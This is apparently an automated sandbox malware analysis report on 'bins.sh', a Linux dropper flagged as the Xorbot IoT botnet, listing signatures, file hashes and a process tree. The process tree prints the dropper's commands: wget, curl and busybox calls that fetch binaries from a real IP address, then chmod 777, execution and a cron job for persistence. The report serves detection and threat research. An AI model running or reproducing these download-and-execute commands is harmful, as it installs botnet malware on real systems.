Analysis

  • max time kernel
    149s
  • max time network
    93s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/12/2024, 06:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3ec05170856171325b0751f5ea6d0ce2

  • SHA1

    1d4812ade6ba446cda12ccab01c5cf5f56d59f0d

  • SHA256

    32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e

  • SHA512

    8581e8589806b577e6557e6ac83d77de355039ff8fc99fb11c60d9eccb8af27ccb6b5fe89f690a87d8d7ca0bcc67788d024594da0e8c8d008b9e3a7033c34b2f

  • SSDEEP

    96:8diayTnIZxJKu8fwckvve4VwaUUQ2c8XUQ2kgGdiayTnfZxfwckvvo48OPEZxJKU:86fwckvve4OaUUQUUQ8wckvvN8

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:654
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:677
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:679
        • /bin/chmod
          chmod 777 znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • File and Directory Permissions Modification
          PID:680
        • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          ./znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Executes dropped EXE
          PID:681
        • /bin/rm
          rm znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:688
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Writes file to tmp directory
            PID:696
          • /bin/chmod
            chmod 777 GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            ./GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
            • Executes dropped EXE
            PID:701
          • /bin/rm
            rm GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
            2⤵
              PID:703
            • /usr/bin/wget
              wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Writes file to tmp directory
              PID:705
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:736
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Writes file to tmp directory
              PID:739
            • /bin/chmod
              chmod 777 WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • File and Directory Permissions Modification
              PID:741
            • /tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              ./WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
              • Executes dropped EXE
              PID:743
            • /bin/rm
              rm WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
              2⤵
                PID:745
              • /usr/bin/wget
                wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Writes file to tmp directory
                PID:746
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:749
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Writes file to tmp directory
                PID:758
              • /bin/chmod
                chmod 777 sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • File and Directory Permissions Modification
                PID:761
              • /tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                ./sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                • Executes dropped EXE
                PID:763
              • /bin/rm
                rm sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
                2⤵
                  PID:766
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Writes file to tmp directory
                  PID:767
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:773
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Writes file to tmp directory
                  PID:781
                • /bin/chmod
                  chmod 777 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • File and Directory Permissions Modification
                  PID:785
                • /tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  ./7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:787
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:789
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:790
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:791
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:792
                      • /bin/rm
                        rm 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
                        2⤵
                          PID:794
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
                          2⤵
                            PID:797

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /var/spool/cron/crontabs/tmp.f4TGFR

                          Filesize

                          210B

                          MD5

                          b6ffa5bef9f0d2d21d38d16272fd47dd

                          SHA1

                          e005a13d3baaac5dad6b27b132c0a9370a891eac

                          SHA256

                          f006517fa2b5aac855ddda3beaa73aded288efa8d9dbaf58fb139f4e4fc25d2d

                          SHA512

                          7f6503eb074764a5b32546a44f7c4b88ee0d2552884f64d1b47831e56e2247cf4e17dc2b94b57c63ad1eab89e3869ad8cfad85e27ace3e5804f9a31e14cb6291